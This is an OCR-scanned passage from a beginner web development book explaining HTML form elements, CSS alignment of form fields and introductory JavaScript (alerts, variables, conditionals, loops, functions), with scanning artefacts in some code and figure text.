4+ Drop-down or select: Creates a drop-down box with multiple choices
from which the user can pick one.

<+

Check boxes: Creates one or more boxes that the user can select.

4+ Radio buttons: Creates one or more small buttons, of which the user
can select only one.

4 Others: There are other specialty types — including password, text
area, and file — that enable you to gather other types of input from the
user.



Figure 3-2:
A basic web
form with
two inputs.
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You've already seen the basic form elements, but there’s more to creating
forms than just adding elements. Forms need to be integrated with other
HTML in order to display like you want them to. Beyond that, as you see
later in the chapter, you can also style forms with Cascading Style Sheets
(CSS). But for now, work on building a simple form.

Figure 3-2 shows a web form using two text input types.

B3 EER =5

= ABasic Form ‘ ‘ i

K”m'-ammmmkﬂvﬂcx
L€ S

A Basic Form

Form Information
Name
E-mail Address

The HTML used to create this form is shown here:

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>
<div>
<label for="username">Name:</label>
<input id="username" type="text" name="username">
</div>
<div>
<label for="email">E-mail Address:</label>
<input id="email" type="text" name="email">
</div>
</fieldset>
</form>
</body>
</html>
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Up until the first <form> tag, the HTML is all stuff you've already seen
earlier in this book. The form begins with that opening <form> tag. When
you create a form, you use two attributes fairly often, one of which is the
action attribute. The action attribute tells the form where to go or what to
do when the user clicks Submit. You see another attribute, method, a little
later.

The next element found in the form is <fieldset>, which is optional for a
form. The <fieldset> element is used primarily for layout and accessibility.
The next element found is the <legend> element. This element creates

the Form Information legend and the box that (though difficult to see in

the screenshot) surrounds the inputs in the form. Like <fieldset>, the
<legend> element is entirely optional.

Next in the form are the <div> elements used to create each row of inputs.
The <label> element ties the friendly name — what you see on the screen,
in this case, Name — to the actual input. The <1abel> element is optional
but recommended because it helps with assistive technologies. Below the
<label> element you see an <input> element. This <div>, <label>,
<input> structure is repeated for the E-mail Address field.

Creating a Form

With some understanding of how forms are structured, it’s time to look at
creating one with some of the elements already discussed. In this section,
you find out more about the <form> element and how to create text boxes,
drop-down boxes, check boxes, and radio buttons that visitors to your
website can use to enter information. You also find out how to create a
Submit button, which lets visitors indicate that they’re ready to transmit
that information to you.

All about the form element

You already saw that the <form> element commonly uses a couple different
attributes, action and method. The action of a form typically points to the
server program that will handle the input from the form. It’s where the form
sends its data.

If the action tells the form where to send the data, then the method attribute
tells the form how to send the data to the server. There are two primary
methods that you’ll encounter: GET and POST. The GET method is appropriate
for small forms, whereas the POST method is appropriate for larger forms or
ones that need to send a lot of information.
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Knowing the difference in the
GET and POST methods

When you use a GET method, the form’s con-
tents are sent as part of the URL. In the sample
form that you saw earlier, the URL would end
up being something like:

http://localhost/forml.html?
username=Steve&email=
steve@example.com

The first thing you notice is that a user can
easily see all the form elements, including
their names and values, rightin their browser’s
address bar. Beyond that, though, there's a
practical limitation in just how long that URL

can get. Many browsers, like Internet Explorer,
only allow a certain number of characters in
the URL, so if your form or the data being sent
is too long, then it won't work.

When you use a POST, there’s no such length
restriction set by the browser. It's important
to note, though, that the user can still see
the form’s data and how it will be sent to the
server; you can't hide that from the user no
matter which method you use.

For most forms, | use POST unless there's a
specific reason to use the GET method.

When the action is set, as you've seen, to the pound sign or hash mark
(#), the form essentially goes nowhere and does nothing, which for now is

exactly what you want because you haven’t built a server program to work

with the incoming data yet!

Adding a text input

You've already seen text inputs in this chapter. Adding one is as simple as

using the type of "text". You can also add a couple more handy attributes,
size and maxsize, which tell the browser how large to make the text box

on the screen and the maximum amount of characters that are allowed in

the field.

For example:

<input type="text" name="username" size="20" maxsize="30">

This HTML creates a 20-characters-wide input box, and the most that
someone could enter into the box is 30 characters.

Another attribute that you might see is the value attribute, which
prepopulates the field with the value you provide. Consider this example

HTML:

<input type="text" name="username" value="Username Here">
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Figure 3-3:
Adding a
valuetoa
field.

Adding that to the form from Figure 3-2 results in a form like the one shown
in Figure 3-3. Notice the value in the Name field is now set according to the
value property in the <input> definition.

[E=8 B =

= A Basic Form

”:43WWMMkva¢X

A Basic Form

Form Information
Name: Username Here
E-mail Address

Adding a drop-down box

A drop-down box, also known as a select box, presents many options, from
which the user can select one. An example is a list of states, such as Alaska,
California, Wisconsin, and so on, where the user typically chooses one from
among the list. The drop-down box provides a good way to display that
information. You create a drop-down using the <select> element along
with <option> elements, like this:

<select name="state">
<option value="CA">California</option>
<option value="WI">Wisconsin</option>
</select>

Here’s a full form with a drop-down added to it:

<!doctype html>
<html>
<head>
<title>A Basic Select</title>
</head>
<body>
<hl>A Basic Select</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>



Figure 3-4:
Creating a
select drop-
down box.
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<div>
<label for="state">State:</label>
<gelect id="state" name="state">
<option value="CA">California</option>
<option value="WI">Wisconsin</option>
</select>
</div>
</fieldset>
</form>
</body>
</html>

When it’s viewed in a browser, you get a page like that shown in Figure 3-4.

oo =

(2 A Basic Select

@@ﬁﬁgmwﬂmnpvﬂax

A Basic Select

Form Information

State: California |~
Wisconsin

When a drop-down box is displayed, the first element is the one that shows
up as the default. In the example shown in Figure 3-4, California is displayed
as the default option. You can, however, change the default value in two
different ways, as discussed here.

Like text boxes, you can set a default value for a drop-down box. This is
accomplished using the selected attribute. Though not always required,
it’s a good idea to set a value for the selected attribute, as in this example
that would change the default value to Wisconsin:

<select name="state">

<option value="CA">California</option>

<option selected="selected" value="WI">Wisconsin</option>
</select>

Another way to set a default value of sorts is to set a blank option as the
first option in the list. While this isn’t technically a default value, it shows
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Figure 3-5:
Setting the
first value
fora
drop-down.

up first on the list so it’ll show as the default option when a user loads the
page. A common way you’ll see this is to use "Select a value" or similar
wording as the first option, indicating to the user that there’s some action
required, as shown here and in Figure 3-5.

<select name="state">
<option value="">Select a value...</option>
<option value="CA">California</option>
<option value="WI">Wisconsin</option>
</select>

[E=8 B =

=2 A Basic Select

i@f¢3mmMMkpv@¢q

A Basic Select

Form Information
State: Select a value.. [ =]

\\3

Using the selected attribute overrides the first value trick shown in this
example.

Creating check boxes

Another way to represent multiple values is by using check boxes. Where
drop-downs are good to represent multiple values when there are a lot of
options, check boxes are good to represent multiple values when there are
just a few options, as might be the case when building a form for choosing
pizza toppings. When someone adds pizza toppings, she can choose more
than one on her pizza, but there usually aren’t too many toppings.

<!doctype html>

<html>

<head>
<title>Checkboxes</title>
</head>

<body>
<hl>Checkboxes</hl>

<hr>

<form action="#">



Figure 3-6:
Using check
boxes for
input.
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<fieldset>
<legend>Pizza Information</legend>
<div>Toppings: <br />
<input type="checkbox" id="sausage"
name="toppings" value="sausage">
<label for="sausage">Sausage</label><br />
<input type="checkbox" id="pep"
name="toppings" value="pep">
<label for="pep">Pepperoni</label><br />
<input type="checkbox" id="mush"
name="toppings" value="mush">
<label for="mush">Mushrooms</label><br />
</div>
</fieldset>
</form>
</body>
</html>

This HTML creates three check boxes in a group called "toppings". The
resulting page is shown in Figure 3-6.

E=S el =

L €] | @ nprstamac O - B QX H 2 Checkboxes

Checkboxes

Pizza Information
Toppings:

[[] Sausage

|7 Pepperoni

[ Mushrooms

Notice in the HTML that each check box has the same name attribute but
uses different value attributes and different id attributes. The id attributes
need to be unique in order for the HTML to be valid (and for the labels to
work correctly). The name is the same because the check boxes are actually
grouped together; they represent one type of information: pizza toppings.

In practice, you may see check boxes without name attributes or with a
different name attribute for each check box. The example you see here is
one that keeps the information logically grouped, which makes it easier to
maintain later and also makes it easier to work with in a server program, as
you see later in this book.
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Using radio buttons

Radio buttons are used where there are multiple values but the user can
choose only one from among those options, as would be the case with a type
of crust for a pizza. The crust can be thin or deep dish — but not both or the
pizza would be a complete mess.

Here’s the HTML to create radio buttons. Notice that the HTML isn’t really
all that much different than the check box example:

<!doctype html>
<html>
<head>
<title>Radio</title>
</head>
<body>
<hl>Radio</hl>
<hr>
<form action="#">
<fieldset>
<legend>Pizza Information</legend>
<div>Crust: <br />
<input type="radio" id="deep"
name="crust" value="deep">
<label for="deep">Deep Dish</label><br />
<input type="radio" id="thin"
name="crust" value="thin">
<label for="thin">Thin</label><br />
</div>
</fieldset>
</form>
</body>
</html>

When viewed in a browser, the result is like that in Figure 3-7.

Like check boxes, radio buttons have the same name but use different
value and id attributes. Like check boxes, radio buttons use these values
for the same reasons. With radio buttons, the name attribute is even more
crucial. Radio buttons that share the same name attribute are in the same
group, meaning the user can choose only one of the options in that group.
If you want the user to be able to choose more than one option, then you
should probably be using a check box.

However, you can use more than one radio button group on a page. Just use
a different name for the new radio button group and the user will be able to
select from that group too.



Figure 3-7:
Radio
buttons on a
web page.
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Submitting and clearing the form

Thus far, you’ve seen some of the input types that you can use on a web
page to gather information. The really big glaring piece missing from your
knowledge is how to actually submit the form or send it to the server for
processing. That’s accomplished with another input type called submit.

<input type="submit" name="submit"
value="Process Request">

For example, consider this example, where a Submit button is added to a
form that you saw earlier in the chapter:

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>
<div>
<label for="username">Name:</label>
<input type="text" id="username" name="username">
</div>
<div>
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<label for="email">E-mail Address:</label>
<input type="text" id="username" name="email">
</div>
<div>
<input type="submit" name="submit"
value="Send Form">
</div>
</fieldset>
</form>
</body>
</html>

This HTML results in a page like that in Figure 3-8.

o e

= ABasic Form

iifﬁammmm&p-ﬂcx

A Basic Form

Form Information

Name
E-mail Address
Figure 3-8:
Adding
a Submit
button.

Another button that you see on forms is a Clear or Reset button. The Reset
button clears the input and resets the form, removing anything the user has
placed into the form. Adding a Reset button is as simple as adding an input
type of "reset":

<input type="reset" name="reset" value="Clear Form">

Using CSS to Align Form Fields

The form examples you’ve seen so far have been pretty boring, just plain
HTML with no alignment or visual appeal. Forms are just standard HTML, so
they can be styled using CSS. This section looks at how to do just that. The
example you'll see in this section uses CSS right within the HTML file. This is
done for simplicity.



Figure 3-9:
Aligning
form fields
with CSS.
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When aligning form fields, the key is to use well-structured HTML. The HTML
that you've seen so far in this chapter fits the bill and so aligning the form
fields will be rather easy. In fact, using the HTML from the final example as a
guide, merely adding this style information to the <head> section aligns the
fields:

<style type="text/css">

.form-field {
clear: both;
padding: 10px;
width: 350px;

}

.form-field label {
float: left;
width: 150px;
text-align: right;

}

.form-field input {
float: right;
width: 150px;
text-align: left;

}

</style>

The result is shown in Figure 3-9. Each of the style rules match using a CSS
class and, in the case of the 1abel and input, a child selector is further
used to narrow the application of the CSS rule.

B3 EoR =
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A Basic Form

Form Information
Name:
E-mail Address:

Send Form

Book 11

Chapter 3

suLo4 qap
Buijiyg pue Hunear



182 Using CSS to Align Form Fields

Figure 3-10:
Aligning
the text of
the Submit
button.

But wait! The Send Form button is now stretched to 150px wide and the text
(“Send Form”) is aligned to the left side of the button. Oops, looks like that’s
exactly what you asked for:

.form-field input {
float: right;
width: 150px;
text-align: left;

}

You need a way to either make that button smaller or at the very least to
align the text in the center of it. Steve personally likes bigger buttons. They
make it easier for users to click or tap, if they’re using a mobile device. So
we’re choosing to align the text in the center but leave the button the same
size.

Aligning it in the center means adding something to the Submit button’s
HTML in order to be able to access it within the CSS. The easiest way to do
that is by adding an id attribute to the Submit button, like so:

<input id="submit" type="submit" name="submit"
value="Send Form">

Here’s the CSS to add:
#submit {
text-align: center;

}

The result is shown in Figure 3-10.

Q‘. | @ npysrarac O - B o X H 2 & Basic Form

A Basic Form

Form Information
Name:

E-mail Address:

Send Form
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The full HTML and CSS are shown here:

<!doctype html>
<html>
<head>
<title>A Basic Form</title>
<style type="text/css">
.form-field {
clear: both;
padding: 10px;
width: 350px;
}
.form-field label {
float: left;
width: 150px;
text-align: right;
}
.form-field input {
float: right;
width: 150px;
text-align: left;
}
#submit {
text-align: center;
}
</style>
</head>
<body>
<hl>A Basic Form</hl>
<hr>
<form action="#">
<fieldset>
<legend>Form Information</legend>
<div class="form-field">
<label for="username">Name:</label>
<input type="text" id="username" name="username">
</div>
<div class="form-field">
<label for="email">E-mail Address:</label>
<input type="text" id="username" name="email">
</div>
<div class="form-field">
<input id="submit" type="submit" name="submit"
value="Send Form">
</div>
</fieldset>
</form>
</body>
</html>
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Chapter 1: Understanding
JavaScript Basics

In This Chapter

+ Understanding JavaScript’s role in web programming

v Adding JavaScript to a page

Fis minibook is all about JavaScript and its place in building web
applications. JavaScript is a very powerful language, and you can use

it to add great features to enhance the user experience. In this chapter, we
tell you a little bit about the types of interactivity that you can add to a web
page with JavaScript and then show you how to add JavaScript to a page.

In the next chapter, we show you how to use JavaScript to perform some
very basic programming functions, and then we follow that with a look at
more practical items with JavaScript.

Viewing the World of JavaScript

JavaScript is used for web programming to enhance or add to the user
experience when using a web page. This section looks at some of the
aspects of JavaScript that will help you understand the language and give
you a good foundation upon which you’ll be able to really make your web
pages stand out.

JavaScript isn’t Java

Don’t be confused by the name. JavaScript has absolutely nothing to do
with Java — the coffee or the programming language. JavaScript’s name
came about because marketing folks wanted to latch onto the “cool” factor
back when the Java programming language was shiny and new.

Java is a heavy language that doesn’t necessarily run on everyone’s computer;
people have to install extra software to get it to run. Although powerful,
Java is not meant for the types of web programming that you usually need
to do. JavaScript, on the other hand, is included with just about every web
browser and doesn’t need anything else installed. You use JavaScript to
make the pages come alive, with auto-populating form fields, and all kinds of
bells and whistles that enhance the user experience.
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One of the most common things that we hear from nontechnical folks is
confusing or calling JavaScript, “Java.” Now that you know that the two are
completely different, you won’t do the same! You will, however, need to
resist the urge to correct people when you hear them confuse the two
languages.

JavaScript is defined by the specification known as ECMA-262. Web browsers
have varying degrees of support for the ECMA-262 specification, so the exact
version of JavaScript that’s available in the browser varies according to the
version of the browser being used.

Knowing what JavaScript can do

JavaScript is an integral part of web pages today. When you see something
like Google Maps, where you can scroll left and right by simply dragging the
map, that’s JavaScript behind the scenes. When you go to a site to look up
flight details, and the site automatically suggests airports as you type into
the field, that’s JavaScript. Countless widgets and usability enhancements
that you take for granted when you use the web are actually JavaScript
programs.

JavaScript programs run in the user’s web browser. This is both a blessing
and a curse. On the one hand, by running on the user’s web browser it
means that your server doesn’t need to run the program. On the other hand,
by running in the user’s browser it means that your program runs slightly
differently depending on the version of browser that the user is using on
your site. In fact, the user may have JavaScript turned off completely!

While theoretically all JavaScript should run the same, in practice it doesn'’t.
Internet Explorer, especially older versions like 6 and 7, interpret JavaScript
in entirely different ways than other browsers like Firefox and Chrome. This
means that you need to create two different programs or two different ways
to make the same thing work on your web pages. Luckily, there are ways
around this, which you discover in this minibook.

Examining the Ways to Add JavaScript to a Page

Although JavaScript is included in everyone’s web browser, you still need to
program the actions that you want to happen on your page. You might recall
from Book II, Chapter 2, if you've read it, that you can style your page with
Cascading Style Sheets (CSS) added directly to the HTML or reference a
separate CSS file. Similarly, this section shows the various ways to incorporate
JavaScript into a page. You can add the JavaScript directly to the HTML file,
reference a separate JavaScript file, or do both — and we help you understand
when each option is appropriate.
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Adding the JavaScript tag

You add JavaScript to a page with the <script> tag, like this:

<script type="text/javascript">
// JavaScript goes here
</script>

You may see various ways to include JavaScript in a page, like "text/
ecmascript" or without the type attribute at all, just an empty <script>
tag. These methods work, sort of, and some of them are technically correct.
But the one that you see most often and the one that we’ve had the best luck
with is the one shown, with a type of "text/javascript"

If you're wondering, the sets of double slashes you see in this example start
a comment, which we tell you more about in the next chapter.

Adding JavaScript to a page’s HTML

Always position the JavaScript code after the opening <script
type="text/javascript"> tag and before the closing </script> tag.
You can include those tags in both the <head> section and the <body>
section of a page.

Here’s an example showing JavaScript in two different locations in a page: c?,::t;r"1
<!doctype html> @
<html> 2c
<head> 3;%
<title>Another Basic Page</title> 2,5
<script type="text/javascript"> = =

// JavaScript goes here é,-; g—
</script> e
</head> @
<body>

<hl>Here's another basic page</hl>
<script type="text/javascript">

// JavaScript can also go here
</script>
</body>
</html>

You could actually place as many of those separate script elements as you
want on a page but there’s usually no reason to do so.
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Using external JavaScript

The example you just saw shows JavaScript within the page, in much the
same way that you can add CSS inside of a page. Although that method
works for small scripts and certainly comes in handy for showing
examples in this book, a better way to add JavaScript is by using external
JavaScript files.

Using external JavaScript files is the same concept as using external files for
CSS. Doing so promotes reusability and makes troubleshooting and changes
easier.

You can add external JavaScript by using the src attribute, like this:

<script type="text/javascript"
src="externalfile.js"></script>

This example loads the file "externalfile.js" from the same directory
on the web server. The contents of that file are expected to be JavaScript.

Notice in this example that there’s nothing between the opening <script>
and closing </script> tags. When using an external JavaScript file, you
can’t put JavaScript within that same set of tags.

You could add a reference, like the one shown, anywhere in the page, but
the traditional spot for that is in the <head> section of the page. Also note
there’s nothing preventing you from using an external JavaScript file along
with in-page JavaScript, so this is perfectly valid:

<!doctype html>
<html>
<head>
<title>Another Basic Page</title>
<script type="text/javascript" src="externalfile.js"></
script>
<script type="text/javascript">
// JavaScript goes here
</script>
</head>
<body>
<hl>Here's another basic page</hl>
</body>
</html>

This example loads an external JavaScript file and then runs some JavaScript
right within the page.



Chapter 2: Building a
JavaScript Program

In This Chapter

+~ Understanding the basic syntax of JavaScript
+~ Implementing JavaScript functions
+» Working with JavaScript and HTML

v+~ Using JavaScript with a web browser

Fe preceding chapter shows how to add the JavaScript tag to a page,
and this chapter concentrates on what you can do after that. Key to
understanding a programming language is learning its syntax. Just like when
you learn a foreign language and you need to learn the words and grammar of
the language, the syntax of a programming language is just that: the words
and grammar that make up the language.

JavaScript is viewed through a web browser and programmed in a text
editor, just like HTML and CSS. The examples you see throughout this
chapter can be programmed just like any of the other examples you see
throughout the book.

In this chapter, you’ll see how to build a JavaScript program, including some
of the ins and outs of programming in JavaScript.

Getting Started with JavaScript Programming

Since this might be your first exposure to programming of any kind, this
section starts with some basic information to get you up to speed.

Sending an alert to the screen

You can use JavaScript to send an alert to the screen. Although this isn’t
used much on web pages, you do use it for troubleshooting your programs,
and it’s a quick way to see JavaScript in action too.
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Begin by opening your text editor with a new or blank document. In the text
editor, place the following HTML and JavaScript:

<!doctype html>

<html>

<head>

<title>Another Basic Page</title>

</head>

<body>

<hl>Here's another basic page</hl>

<script type="text/javascript">
alert ("hello");

</script>

</body>

</html>

Save the file as basic.html in your document root.

View the page by opening your web browser and navigating to http://
localhost/basic.html. You should see a page like that in Figure 2-1.

[ httpyesrabscasbasichtml £+ BS X[ O anstherBasic page ‘ ‘

Here's another basic page

Message from webpage (s

———
! k hella

Figure 2-1:
Loading a
page with
an alert.

Click OK to dismiss the alert.
Congratulations, you're now a JavaScript programmer!

Looking at that program, contained in a single line between the opening and
closing <script> tags, there’s just the word alert with the word "hello"
enclosed in quotes and parentheses. The word alert is actually a built-in
function (more on functions later in the “Using Functions to Avoid Repeating
Yourself” section).
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The line of JavaScript ends with a semicolon. That’s an important concept
and should be a primary takeaway from this exercise: You end almost every
line of JavaScript with a semicolon.

Adding comments

Just like the alert function is useful, so too are comments, which are like
sticky notes for your code. A comment can be used so that you remember
what a certain piece of code is supposed to do or can be used to skip over
parts of the code that you don’t want to run.

A common form of comment begins with two slashes, like this:
// This is a comment

You see that form of comment in the preceding chapter. The words that
follow the two slashes won’t be read by the web browser, but they can be
read by people viewing your JavaScript so keep it clean!

Another type of comment begins with a front slash and an asterisk, like this
/*, and closes with an asterisk and a front slash, like this * /. With that style
of comment, everything in between the opening and closing comment isn’t
read.

/*
This won't be read, it's in a comment
*/

Holding data for later in variables

When you work with a programming language like JavaScript, you frequently
need to hold data for later use. You'll get a value, such as input from a form
that the user fills out, and then you’ll need to use it later.

To hold data, you use a variable, which keeps track of the data that you tell
it to store for the lifetime of your program. That’s an important concept:
The contents of a variable only live as long as your program. Unlike data in a
database, there’s no persistence for variable data.

Variables are defined in JavaScript with the var keyword, short for variable.

var myVariable;
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JavaScript is case sensitive. You see in the example that the var keyword is
lowercase and the variable myVariable uses mixed case. It’s important to
use the same case for variable names and always be aware that, for instance,
MYVARIABLE is not the same as myVariable or myvariable. Always follow
case sensitivity for JavaScript, and you’ll never have a problem with it!

When you create a variable, it’s common to give it some data to hold onto.
You do this with the equals sign:

var myVariable = 4;

That bit of code sets the variable named myVariable equal to the number
4. If you don’t set the variable right when you create it, like in that example,
you can set it any time merely by setting it equal to the value that you want.

Here’s an example:

var myVariable;
myVariable = 4;

You can take a spin with variables by modifying the JavaScript you created
in the preceding exercise to look like that in Listing 2-1.

Listing 2-1: Trying Out a Variable

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>

</head>

<body>

<hl>Here's another basic page</hl>

<script type="text/javascript">
var myVariable = 4;
alert (myVariable) ;

</script>

</body>

</html>

If you view that code in a browser, you’ll see an alert like the one shown in
Figure 2-2.
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Figure 2-2:
Displaying
the contents
ofa
variable.
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JavaScript variables can hold strings, which are essentially words enclosed in
quotes, or numbers, like you saw in the example.

Variables need to be named in a certain way. Variables need to begin with a
letter and can’t begin with a number. Though certain special characters are
fine, in general variables should contain only letters and numbers. Variable
names should be descriptive of what they contain or what they do.

Holding multiple values in an array

Variables hold one thing and they do it well, but there are times when you
want to hold multiple things. Sure, you could just create multiple variables,
one for each thing. You could also create an array. An array is a special type
of variable used to hold multiple values. Here’s an example:

var myArray = ["Steve", "Jakob", "Rebecca", "Owen"];

This array contains four things, known as elements. You see more about
arrays later, when we tell you about loops.

Creating strings to keep track of words

When you place words in quotes in JavaScript you create what’s called a
string. It’s typical to place the contents of strings into variables, like this:

var aString = "This is a string.";

Strings can contain numbers, and when you put a number in quotes it will be
a string. The key is the quotes, as shown here:

var anotherString = "This is more than 5 letters long!";

Strings can be enclosed in single quotes or double quotes.
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Figure 2-3:
A concate-
nated string.

Strings can be put together using the plus sign (+), as in the exercise you're
about to work through.

Joining strings is called concatenation, and we talk a little more about that
when we tell you about joining strings in Book IV, Chapter 1.

To practice creating a concatenated string, begin by opening your text editor
with a new or blank document.

In the text editor, place the following HTML and JavaScript:

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>

</head>

<body>

<hl>Here's another basic page</hl>

<script type="text/javascript">
var myString = "Partly" + "Cloudy";
alert (myString) ;

</script>

</body>

</html>

Save the file as string.html in your document root.

Open your browser and view the page by going to http://localhost/
string.html. You should see an alert like the one in Figure 2-3.

tessage from webpage | 28

l . PartlyCloudy

-

Look closely at Figure 2-3. Notice that there’s no space between the words
Partly and Cloudy. In order to have a space there it needs to be added either
on the end of the word Partly or at the beginning of the word Cloudy.

Working with numbers

You already saw that JavaScript variables can hold numbers. You can also
do math with JavaScript, either directly on the numbers or through variables.
For example, adding two numbers:

var myNumber = 4 + 4;


http://localhost/string.html
http://localhost/string.html
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Subtraction is accomplished with the minus sign (-), division with the front
slash (/), and multiplication with the asterisk (*).

//Subtraction

var subtraction = 5 - 3;
//Division

var division = 20 / 5;
//Multiplication

var multiply = 2 * 2;

Testing Things with Conditionals

A\\S

With a few pages of JavaScript primer done, it’s time to look at a way to
make decisions with JavaScript. These decisions are called conditionals. A
good way to explain them is by explaining Steve’s thought process around
mowing the lawn: If it’s greater than 75 degrees, then it’s too hot to mow. If
it’s raining, then he can’t mow. Otherwise, he can mow the lawn. This can be
set up in JavaScript something like this:

if (temperature > 75) {
alert("It's too hot to mow");

} else if (weather == "raining") {
alert("It's raining, can't mow") ;
} else {

alert ("Gotta mow") ;

}

That little bit of code reveals all you need to know about conditionals in
JavaScript! You test a condition and then do something based on the results
of that condition.

When you set up a condition, you use parentheses to contain the test and
everything that you want to happen then appears between the opening and
closing braces.

Conditionals are one of the cases where you don’t end each line with
a semicolon.

Here’s an exercise that you can experiment with to work with conditionals.
Begin by opening your text editor with a new or blank document. In the text
editor, place the following HTML and JavaScript:

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>
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</head>
<body>
<hl>Here's another basic page</hl>
<script type="text/javascript">
var temperature = 76;
var weather = "raining";
if (temperature > 75) {
alert("It's too hot to mow") ;

} else if (weather == "raining") {
alert("It's raining, can't mow") ;
} else {

alert ("Gotta mow") ;
}
</script>
</body>
</html>

Save the file as cond.html in your document root, and view the page in a
browser by going to http://localhost/cond.html. You should see an
alert like the one in Figure 2-4.

Figure 2-4:
An alert
basedona
conditional
test.

tessage from webpage (==

l L Ttstoo hotto mow

—

Click OK to dismiss the alert.

To see how the program responds when you change a value, within the
editor, change the value for temperature to 70. Here’s the code; the line that
changed is in bold:

<!doctype html>
<html>
<head>
<title>JavaScript Chapter 2</title>
</head>
<body>
<hl>Here's another basic page</hl>
<script type="text/javascript">
var temperature = 70;
var weather = "raining";
if (temperature > 75) {
alert("It's too hot to mow");
} else if (weather == "raining") {
alert ("It's raining, can't mow");


http://localhost/cond.html

Figure 2-5:
Getting into
the else if
condition.
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} else {
alert ("Gotta mow") ;
}
</script>
</body>
</html>

Save cond.html.

Reload the page in your browser by pressing Ctrl+R or Command+R. You
should see an alert like the one in Figure 2-5.

Message from webpage @

l i It'sraining, can't mon

Click OK to dismiss the alert.

Take a look at what happens when you change another variable. Within
cond.html, change the weather variable to "sunny". The code should look
like this; again the change has been bolded.

<!doctype html>
<html>
<head>
<title>JavaScript Chapter 2</title>
</head>
<body>
<hl>Here's another basic page</hl>
<script type="text/javascript">
var temperature = 70;
var weather = "sunny";
if (temperature > 75) {
alert("It's too hot to mow");

} else if (weather == "raining") {
alert("It's raining, can't mow") ;
} else {

alert ("Gotta mow") ;
}
</script>
</body>
</html>

Save cond.html and reload the page in your browser. You should see an
alert like the one in Figure 2-6.
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Message from webpage @

Figure 2-6:

Getting into L Sotmow

the else

condition.
Click OK to dismiss the alert.
If a test fails, a conditional can be set up to run another test. In the case of
the example, a second test is set up to look at the weather to see if it’s
raining. Notice the use of the double equals signs in the else if condition.
Finally, if all tests fail then a block of code can be set up so that it runs when
all else fails. This is noted by the else keyword in the code sample.

V?‘“\NG! It’s important to note that once a condition is true, in the example once the

S temperature is greater than 75, the code in that block will execute but none

of the other conditions will be evaluated. This means that none of the other
code in any of the other blocks will ever run.

Performing Actions Multiple Times with Loops

Sometimes you want to repeat the same code over and over again. This is
called looping, and JavaScript includes a couple ways to do it, including for
and while.

For what it’s worth

If you want to do something multiple times in JavaScript, a common way to
do it is with a for loop. A for loop has pretty specific syntax, as you see
here:

for (var i = 0; 1 < 10; 1i++) {
// Do something here

}
That structure includes three specific things within the parentheses.
4+ Variable: First, a variable is set up, in this case simply called i. That

variable is set to the number 0.

4+ Condition: Next is the condition to be tested. In this case, the loop tests
whether the variable i is less than 10. If 1 is less than 10, the code
inside the braces runs.



3

Figure 2-7:
The results
of a for loop.
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4+ Postfix operator: The final piece of the for loop construct increments
the i variable using something called a postfix operator (i++), which
basically increments the value by 1.

In plain language, this loop creates a variable and sets it to 0, then it tests to
see whether the variable is still less than 10. If it is, then the code within
the block is executed. For now, that code is merely a comment so nothing
happens. If not, then the variable is incremented by 1 and the whole thing
starts all over again.

The first two parts of a for loop use semicolons; the last part doesn’t.

The first time through, the variable i is 0, which is (obviously) less than
10 — and the code inside the block executes so that i is incremented by 1.
The next time through, the value of i is 1, which is still less than 10, so the
code in the block is executed again. This keeps going until the value of 1

is 10.

Try it out with an exercise. Begin by opening your text editor with a new or
blank document. In the text editor, place the following HTML and JavaScript:

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>

</head>

<body>

<hl>Here's another basic page</hl>

<script type="text/javascript'">
for (i = 0; 1 < 10; i++) {

alert ("The variable i is currently set to " + 1i);

}

</script>

</body>

</html>

Save the file as for.html in your document root.

View the file in a browser by going to http://localhost/for.html.
You'll see a series of alerts, one of which is shown in Figure 2-7.

Message from webpage =2

I . Theariable i is currently setto 1
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Now take a look at how to determine the length of an array. Earlier in the
chapter you saw an array like this one:

var myArray = ["Steve", "Jakob", "Rebecca", "Owen"];

A common use of a for loop is to spin through an array and do something
with each value. The conditional in the example for loop you saw earlier
set the value at 10. But how do you know how many values are in an array?
Yes, you easily could count the number of variables in the array shown, but

sometimes you have no idea how many elements are in an array.

You can ask the array itself to tell you how long it is by asking it. You ask
through the 1ength property, like this:

myArray.length;

Listing 2-2 shows an example that loops through the array shown and
displays each element.

Listing 2-2: Using a for Loop on an Array

<!doctype html>

<html>

<head>

<title>JavaScript Chapter 2</title>
</head>

<body>

<hl>Here's another basic page</hl>
<script type="text/javascript">

var myArray = ["Steve", "Jakob", "Rebecca", "Owen"];
for (i = 0; i < myArray.length; i++) {
alert ("Hello " + myArrayl[il);
}
</script>
</body>
</html>

This code uses a standard for loop but instead of setting the length to a
certain number, it uses the 1ength property to find out how long myArray
really is. Each time through the loop, an alert is shown, like the one in
Figure 2-8.
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Figure 2-8:

Displaying
an alert
from an
array.

tessage from webpage | E3

I Hello Jakob
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The i variable is used right within the loop, to access each element of the
myArray variable. You see, an array is an ordered list of things, with the
order being provided by numbers that you don’t normally see. These hidden
numbers are called indexes. The index of the first element in an array is 0
(not 1 as you might expect).

In this example, since i is 0 the first time through the loop it can access the
first element. The second time through the loop, as shown in Figure 2-8, i is
equal to 1 and so the second element is shown.

The syntax that you see there, myArray[i], is a really common syntax that
you see in for loops.

While you're here

Another type of loop is called a while loop, and it looks like this:

while (i < 10) {
// Do something interesting
// Don't forget to increment the counter!

}

Awhile loop is similar to a for loop insofar as the code within the braces
executes as long as the condition is true. Unlike a for loop, though, you
need to explicitly do something inside of the loop in order to break out of
the loop. If you forget, you'll be stuck in an endless loop!

Using Functions to Avoid Repeating Vourself

A good programming practice is to reuse code whenever possible. Not only
does this cut down on the number of possible errors in your code, but it also
makes for less work, which is always good when it comes to coding. This
section looks at a primary way to implement code reuse: functions.
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JavaScript includes a number of built-in functions. You've been using one
throughout the chapter: alert (). The alert () function creates a dialog in
the browser.

Creating functions

Functions are created with the function keyword followed by the name of
the function, parentheses, and opening and closing braces, like this:

function myFunction() {
// Function code goes here

}

What you do inside of the function is up to you. Anything that you can do
outside of the function you can do inside of it. If you find that your page
needs to update a bunch of HTML, you could use a function so that you
don’t need to keep repeating that same code over and over again.

